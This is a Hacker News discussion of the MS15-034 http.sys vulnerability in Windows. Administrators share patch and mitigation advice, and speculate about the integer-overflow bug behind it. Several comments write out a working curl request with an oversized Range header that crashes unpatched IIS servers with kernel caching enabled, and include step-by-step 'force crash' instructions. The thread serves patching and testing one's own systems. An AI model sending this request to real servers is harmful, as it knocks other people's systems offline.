
Remote Kernel Code Execution Via HTTP Request In IIS On Windows - Mojah
https://ma.ttias.be/remote-code-execution-via-http-request-in-iis-on-windows/?hn
======
Khao
I tried to send the bad curl request to our servers (test env, obviously) and
I didn't get any error. It seems I should be getting "Requested Range Not
Satisfiable" if the server is vulnerable and "The request has an invalid
header name" if it's patched. I'm getting neither, simply a normal response
HTTP 200 with the requested page. Anyone knows how to really test it?

EDIT : It is indeed related to "Output Cache" setting in IIS as I said I was
suspecting in another comment. I managed to crash our servers by going to IIS
Management, select the website I wanted to test, go to Output Caching, enable
the feature AND also add a rule (I added a rule for .png just to test). If you
have NO rules it is the same as having the feature disabled so you are safe.
If you add a rule and check "Enable Kernal Caching" you are vulnerable!

EDIT 2 : As some have asked, this is the command I used to crash our test
server. I tested it after having created a new Output Caching rule to cache
all .png files in kernel mode.

curl -v [http://example.com/image.png](http://example.com/image.png) -H
"Range: bytes=18-18446744073709551615"

I didn't take a screenshot of the BSOD and I don't plan on crashing our test
env a second time today because people are using it (I tested it early enough
that not a lot of people were at the office yet).

~~~
eqkosch
As all our servers are behind a traffic manager product like F5/ZXTM I'm
experimenting with removing the range header so it never reaches the webserver
as some app's rely on kernel mode caching to achieve performance.

Also my tests seem to indicate that just having kernel mode caching enabled
even if you dont have any rules still seem to cause a BSOD.

~~~
Khao
You're right! Even with no rule having kernal caching enabled will crash it! I
think IIS assumes it should cache all static content even when there are no
rules specifically for them. Somehow I can't edit my comment anymore but I'll
leave this here :

EVEN WITH NO RULES, YOU ARE VULNERABLE! My previous answer has been proven to
be wrong!

------
jkrems
The reason the kernel is involved with http handling is a feature called
"Kernel Caching"[1]:

> Enable kernel caching to effectively scale and improve Web server
> performance. Cached responses are served from the kernel. This greatly
> improves response times and increases the number of requests per second that
> IIS can serve because requests for cached content never enter IIS user mode.

[1] [https://technet.microsoft.com/en-
us/library/cc731903(v=ws.10...](https://technet.microsoft.com/en-
us/library/cc731903\(v=ws.10\).aspx)

~~~
nissimk
If you don't have the kernel caching enabled, does this vulnerability still
work?

~~~
algorithmsRcool
According to microsoft's bulletin disabling kernel caching will avoid the
vulnerability.

* I should cite this : [https://technet.microsoft.com/library/security/ms15-034](https://technet.microsoft.com/library/security/ms15-034)

See section Vulnerability Information > Workarounds

~~~
nissimk
I get the HTTP 416 on windows 8.1 + iis 8.5 unpatched even after turning
kernel caching off and restarting iis. Even after rebooting.

~~~
tracker1
416 is the correct error code to return in this situation... that's what you
want to see.

------
eis
Here the Microsoft Security Bulletin:
[https://technet.microsoft.com/library/security/ms15-034](https://technet.microsoft.com/library/security/ms15-034)

I think the title is downplaying the severity of the bug. It's a remote code
execution vulnerability in http.sys which is a webserver component running
inside the kernel (yea right, great idea!) so you can get remote root via HTTP
request. The blog quotes this correctly but I get the feeling the author
didn't communicate it properly.

Someone please adjust the title of this submission to something like
"CVE-2015-1635: remote kernel code execution via HTTP request affecting
Windows Server"

~~~
IgorPartola
To be fair,
[http://en.wikipedia.org/wiki/TUX_web_server](http://en.wikipedia.org/wiki/TUX_web_server).
Having said that, this is huge. This is way worse than Heartbleed for the IIS
crowd.

~~~
tribaal
And how much internet-facing web content is served with this toy webserver
exactly?

That's what I thought, none (except maybe the author's blog? wild guess).

~~~
icebraining
_except maybe the author 's blog? wild guess_

Nope, Ingo Mólnar uses Google+ for his occasional blogging (though the last
post seems to be from 2013).

~~~
tribaal
Haha, I _knew_ somebody would actually look it up :)

Thank you!

------
davman
Best I could do on a freshly installed Win2k12 with IIS was:

curl -v [http://server-name/iis-85.png](http://server-name/iis-85.png) -H
"Range: bytes=18-18446744073709551615"

Run the curl twice and the bluescreen happens the second time. If I don't
request the image then it doesn't work.

I've not added any specific rules for output caching.

Edit: The crash screen is very dull:

[http://imgur.com/MZ7VNHQ](http://imgur.com/MZ7VNHQ)

~~~
Khao
Did you have to configure any rule in the Output Caching or that's completely
default values?

~~~
davman
I initially configured rules (I was following your instructions) but I've now
deleted the rules and still have the crash.

~~~
artanis0
Can confirm. No Output Caching rules defined, I am still able to reproduce
crash. [EDIT] What is handy is that it _appears_ that disabling "Enable kernel
cache" takes effect immediately. No iisreset or server reboot required in my
testing environment.

~~~
davman
Yes, unticking that checkbox works for me instantly.

------
nathanaldensr
It seems to me that if you're running a vulnerable high-value server, the only
option for you as an IT admin is to completely wipe the host hard drive and
install everything from scratch--and even that may not be enough. Remote
kernel code execution means an attacker could install malicious drivers, mess
with device firmware, or do pretty much anything else the Windows kernel could
do, no? It's a gamble to simply patch the server and hope you weren't already
compromised; after all, how does one detect that remote kernel code execution
occurred?

In a virtualized environment, I imagine blowing away any disks/volumes should
be enough to recover from a potentially compromised system. That said, new
Windows volumes (say, on EC2) should be created without inbound HTTP access,
patched, and only then allowed to serve HTTP traffic.

------
pslam
I bet somewhere in the source there is a line which looks like:

    
    
        if (inclusiveEnd + 1 > size) {
            return ERR_INVALID;
        }
    

HTTP ranges are inclusive, and most likely implemented here with unsigned 64
bit integers. My guess is the author converted to exclusive range, then
compared with size, as a form of validation. It passes the check, because
18446744073709551615 + 1 results in wraparound to 0.

The general solution is instead to use something like:

    
    
        if (size < offset || start > size - offset) {
            ... // range violated
        }
    

But you hardly ever see people do that.

~~~
TheLoneWolfling
Note that that solution won't work with signed values, and compilers will
happily optimize out the check in that case.

------
kpcyrd
>A remote code execution vulnerability exists in the HTTP protocol stack [...]
could execute arbitrary code in the context of the System account.

SYSTEM is higher than admin. Using IIS on windows is like running a webserver
as root on linux.

~~~
drzaiusapelord
Lets not play the "my team is better than your team" hysterics, especially
when we all had to do emergency patching for shellshock, heartbleed, samba,
drupal, etc in the past couple months. Hell, sambra runs as root and that
doesn't seem to outrage anyone.

~~~
xorcist
Samba doesn't run as a kernel module though.

I suspect such a patch would not get far, just as many ridiculed the TUX web
server some fifteen years ago.

~~~
spork1
no, but cifs does; [https://www.kernel.org/doc/readme/Documentation-
filesystems-...](https://www.kernel.org/doc/readme/Documentation-filesystems-
cifs-README)

~~~
teraflop
FWIW, only the client side of CIFS runs in the kernel. The server software
(smbd) is entirely in userspace.

------
cremno
From the exploit code:

    
    
        memset(&serv_addr, '0', sizeof(serv_addr));
    

That doesn't seem to be correct. The digit character 0 is not the same as the
null character ('\0'). Just write 0 or use `struct sockaddr_in serv_addr = { 0
};`.

~~~
benjamincburns
ASCII NUL is indeed 0x0.

[http://en.m.wikipedia.org/wiki/Null_character](http://en.m.wikipedia.org/wiki/Null_character)
[http://www.bibase.com/images/ascii.gif](http://www.bibase.com/images/ascii.gif)

~~~
masklinn
But '0' is not ascii NUL (0x00), it's ascii 0 (0x30).

~~~
eis
Additionally there are a bunch of other things very wrong with the exploit
code.

If the connect() fails, it will use file descriptor 1 which is usually stdout
and write the request to it and try to read from it.

And there is a problem with strstr() not getting a null terminated string (if
the stack memory for recvBuff wasn't automatically zero'd out which some
compilers can do).

Why do these people bother writing the exploit in C? A curl one liner is good
enough.

Also the check for 'The request has an invalid header name' seems dubious to
me because a proxy in front would likely return a different error (the header
name is not invalid but rather the range not satisfyable).

------
__michaelg
The interesting take-away is the .sys suffix on the filename: Yes, Windows
contains a device driver running in Kernel mode that cares about (IIS) HTTP
traffic.

~~~
comice
goodness me yes. It appears to be a kernel-mode http parser:

[http://www.microsoft.com/technet/prodtechnol/WindowsServer20...](http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/a2a45c42-38bc-464c-a097-d7a202092a54.mspx?mfr=true)

is that really the only way MS could make IIS fast enough?

See also
[https://en.wikipedia.org/wiki/TUX_web_server](https://en.wikipedia.org/wiki/TUX_web_server)

~~~
jerf
You know how $YOU need to pick a web server, and so you start reading about
them, and you find a site that has posted some microbenchmark about serving a
hundred byte static file or something, and $SERVER1 can do 106,000 per second
and $SERVER2 can do 107,000 per second, so $YOU go with $SERVER2 without
asking any more questions?

Yeah... that does nasty things to these server's architecture... "Performance
at all costs" eventually strays into taking down the barriers built to protect
the system, but at the inevitable cost of slowing things down as things go
through the barriers.

------
stephengillie
The part that makes this really nasty is it doesn't just impact webservers.
IIS is highly leveraged by other Microsoft technologies, everything from WSUS
to SMTP to Exchange to Sharepoint are affected. In my environment, I estimate
that 3/4 of my servers are vulnerable.

~~~
MichaelGG
It's not IIS. It's HTTP.SYS. New configs have Powershel remote or WinRM. They
use http.Sys and are vulnerable.

~~~
MichaelGG
Seems I'm wrong. Kernel cache has to be enabled explicitly and
Powershell/WinRM don't do that. Whew.

~~~
stephengillie
We all dodged a bullet there.

~~~
MichaelGG
They really should have made it clear that it's a mitigating factors and that
most (some, many?) non-IIS uses wouldn't use kernel caching and thus be OK.

------
xPaw
Made a online tool that tests for this vuln:
[https://lab.xpaw.me/MS15-034/?host=bing.com](https://lab.xpaw.me/MS15-034/?host=bing.com)

~~~
h43k3r
I was wondering, is their a way to know the the type of webserver a website is
using ? I mean can we do it using some kind of headers?

~~~
getsat
The "Server" response header will usually tell you but may omit a specific
version depending on configuration.

Use "curl -I whatever.com" to send a HEAD request and look at the headers in
the response.

~~~
e12e
You can also try Nmap, but apparently it's not able to tell too much if the
server doesn't reply with a header:

    
    
      nmap -T5 -sV --version-all -p 80,443 www.google.com
      Starting Nmap 6.00 ( http://nmap.org ) at 2015-04-16 03:02 CEST
      Nmap scan report for www.google.com (80.202.12.244)
      Host is up (0.0015s latency).
      Other addresses for www.google.com (not scanned): 
      (...)
      rDNS record for 80.202.12.244: cache.google.com
      PORT    STATE SERVICE  VERSION
      80/tcp  open  http     Google httpd 2.0 (GFE)
      443/tcp open  ssl/http Google httpd 2.0 (GFE)
      Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
    

Apparently stackoverflow (well know user of .net stack) is "unknown", but
microsoft.com gives:

    
    
      nmap -T5 -sV --version-all -p 80,443 microsoft.com
    
      Starting Nmap 6.00 ( http://nmap.org ) at 2015-04-16 03:05 CEST
      Nmap scan report for microsoft.com (134.170.188.221)
      Host is up (0.18s latency).
      Other addresses for microsoft.com (not scanned): 
        134.170.185.46
      rDNS record for 134.170.188.221:  
        microsoftproductionstudios.org
      PORT    STATE SERVICE  VERSION
      80/tcp  open  http     Microsoft IIS httpd 8.5
      443/tcp open  ssl/http Microsoft IIS httpd 8.5
      Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
    

I didn't look to carefully at the so-output -- maybe there's a funky
loadbalancer in front or something.

------
ibre5041
It is not only about IIS. Various other SW use this API. For example Citrix
Remote Receiver. And also various Antivirus Programs, use this HTTP interface
– to be accessible from central management. Just try to execute “netsh show
http urlacl” and you will see how many programs use it. Or you can use
TCPView(Sysinternals) to see which ports are bound by "process" SYSTEM (pid
4).

------
jobigoud
Is the HttpListener .NET class impacted?

[https://msdn.microsoft.com/en-
us/library/system.net.httplist...](https://msdn.microsoft.com/en-
us/library/system.net.httplistener%28v=vs.110%29.aspx)

~~~
jimbobimbo
http.sys lives at the bottom of HTTP processing/consumption stack, and that's
where vulnerability is. HttpListener simply uses Windows HTTP stack's
services, as IIS and others do.

------
nbevans
Just to clarify to everyone that this vulnerability has absolutely nothing to
do with IIS web server. HTTP.SYS is not part of IIS. HTTP.SYS is the way
HTTP/S hosting works on Windows. Any applications may use it, it is an API.

HTTP.SYS is a clever idea as it allows the 80/443 ports to be used by multiple
processes, as long as they register unique base URLs. What's not so clever
about it is that despite rigorous testing and validation against its codebase,
that something like this slipped through. Historically, HTTP.SYS has had a
pretty good track record (against all the odds) until this week.

~~~
jenscow
So, IIS doesn't use http.sys?

~~~
nbevans
It does. But this vulnerability is specifically with HTTP.SYS. HTTP.SYS is
kind of like a SSL terminator and request router built into the OS.

------
userbinator
It's surprising that this could even cause a crash, much less code execution,
since if it really is an integer overflow I'd expect the range to wrap around
(mod 2^n) and you'd just get a different part of the file you were requesting
(e.g. with 32-bit maths, asking for bytes 0-4294967300 will return bytes 0-4
instead.) It looks more like a signed/unsigned confusion to me - the
1844...615 value is -1 if interpreted as a signed number, and even if this
caused reading past the end of a buffer, the result would be more Heartbleed-
like than code execution.

Just taking a guess here, but the code execution probably requires a POST
request instead of GET. Nevertheless, it's still quite puzzling how something
like this could occur.

Note: I have not tested this personally. Others here
[https://news.ycombinator.com/item?id=9380889](https://news.ycombinator.com/item?id=9380889)
say they haven't been able to reproduce it.

Edit: apparently you need kernel caching of HTTP requests enabled, and at
least one rule for caching, and the request has to satisfy that rule, in order
to cause a crash.

------
JohnBooty
FYI: I _believe_ all you need to do is run Windows Update (and reboot) in
order to get the patch for this.

I'm mentioning this because found I the Microsoft articles slightly unclear;
they listed separate downloads for these updates and I wasn't sure if those
updates were available via Windows Update or not.

However, it appears that running Windows Update is sufficient. I ran Windows
Update on a 2008 R2 server running IIS. One of the updates it pulled down was
"Security Update for Windows Server 2008 R2 x64 Edition (KB3042553) which is
the KB article that references this vulnerability.

After Windows Update & a reboot, I used the curl snippet provided on the
linked article to test my patched server. At this point it does _not_ appear
to be vulnerable to this issue.

------
latchkey
I was wondering how the number, 18446744073709551615, was chosen as the magic
number. Maybe it is from this?

[http://en.wikipedia.org/wiki/Wheat_and_chessboard_problem](http://en.wikipedia.org/wiki/Wheat_and_chessboard_problem)

Edit: 2^64 - 1

------
pimterry
But does it have a catchy name yet?

I suggest: Long-range

~~~
eloy
I suggest: HypnosIIS.
[https://twitter.com/eloydegen/status/588362098314477569](https://twitter.com/eloydegen/status/588362098314477569)

------
Satchelmouth
I can confirm on Windows 2K8R2 and 2K12, with Kernel Caching enabled (as per
default IIS settings) and without any Kernel Caching rules, that I can
reproduce the issue using the cURL method.

Steps to reproduce.

 _Check server is vulnerable_ curl -v [http://blah.com/](http://blah.com/) -H
"Range: bytes=00-18446744073709551615"

You should see a Error 416.

 _Force crash_ curl -v
[http://blah.com/images/blah.jpg](http://blah.com/images/blah.jpg) -H "Range:
bytes=100-18446744073709551615" \--and/or-- curl -v
[http://blah.com/images/blah.jpg](http://blah.com/images/blah.jpg) -H "Range:
bytes=40-18446744073709551615"

Note above: You have to specifically address a file AND use byte range 40 or
100 in my setup to make it bluescreen.

 _After Patching - Check Vulnerability_ curl -v
[http://blah.com/](http://blah.com/) -H "Range: bytes=00-18446744073709551615"

Response: Error 400: The request has an invalid header name

 _After Patching - Force Crash Test_

curl -v [http://blah.com/images/blah.jpg](http://blah.com/images/blah.jpg) -H
"Range: bytes=100-18446744073709551615"

Response: 206 Partial Content

Hope that helps.

------
patja
Windows Update patched this yesterday, right? At least I see KB 3042553 listed
in my update history from yesterday.

------
shaunrussell
Isn't a lot of government using IIS? How long before someone starts attacking
their services with this?

Is Azure vulnerable?

~~~
balakk
There's a chance the Azure load-balancer might filter out malicious requests;
but I wouldn't know for sure. One of the boxes I have on Azure didn't crash.

~~~
eeZi
Probably patched already.

------
reiichiroh
The patches for the MS Server OSes are at: [https://support.microsoft.com/en-
us/kb/3042553](https://support.microsoft.com/en-us/kb/3042553)

It's a little unclear that this was patched as part of last night's Patch
Tuesday.

~~~
stephengillie
We just patched our webservers last night. This morning, I see 9 more patches
available, including this one.

------
MichaelGG
So unchecked arithmetic is the culprit, again? And this would seem to be the
kind of thing that could get passed through frontends unless they already
cached a result.

------
trosenbaum
I have written vulnerability testers in Powershell and C# varieties:

[https://gist.github.com/Zagrophyte/ea086087e6fd7ca579ef](https://gist.github.com/Zagrophyte/ea086087e6fd7ca579ef)
(Powershell)

[https://gist.github.com/Zagrophyte/0fa7a8e2e507fac2b59d](https://gist.github.com/Zagrophyte/0fa7a8e2e507fac2b59d)
(C#)

------
Meiscooldude
Does anyone know how this affects azure?

------
adandy
After running windows update my machine went from responding with

HTTP Error 416. The requested range is not satisfiable.

to

HTTP Error 400. The request has an invalid header name.

------
wanda
Well, it's just gone 3am here in the UK. I can finally install the update.

------
paulchen
Is Windows Server 2008 Standard Edition also affected or just 2008 R2?

------
ptaipale
The subject line says HTTP only. Does this attack work over HTTPS?

~~~
tbpollard
yes, at least the BSOD aspect. I haven't been able to confirm remote code
execution, but I was able to BSOD IIS 8.5 via this method over http and https.

------
tbpollard
Does anyone have an example of the remote code execution?

------
kennethgeiler
aweomse

------
higherpurpose
> Details are withheld for now

At least for us. DHS/NSA already has them thanks to Microsoft's _renewed_
commitment to share "cyber-threat" data with them (a.k.a zero-days).

~~~
walls
> DHS/NSA already has them

Every major security company has them thanks to MAPP. I don't quite understand
why people have such a problem with this program.

You also can't ignore that the most recent linux vulnerabilities were
privately disclosed to major vendors weeks ahead of time, as well.

